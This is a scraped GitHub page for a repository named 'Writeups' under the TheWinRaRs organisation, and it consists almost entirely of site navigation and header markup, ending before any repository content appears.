<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="267304823" data-scoped-search-url="/TheWinRaRs/Writeups/search" data-owner-scoped-search-url="/orgs/TheWinRaRs/search" data-unscoped-search-url="/search" action="/TheWinRaRs/Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="b6m7u6DYOJOjBAQRaGui62qTa/pqxaN5GhG1vp9hUzo9Z+HjnMOTiHMd8TtQeU+0VGaSm6QgvGWZZGFJeAOu0w==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <include-fragment src="/orgs/TheWinRaRs/survey_banner" data-test-selector="survey-banner-selector"> </include-fragment> <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> TheWinRaRs </span> <span>/</span> Writeups <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 33 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 6 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/TheWinRaRs/Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div 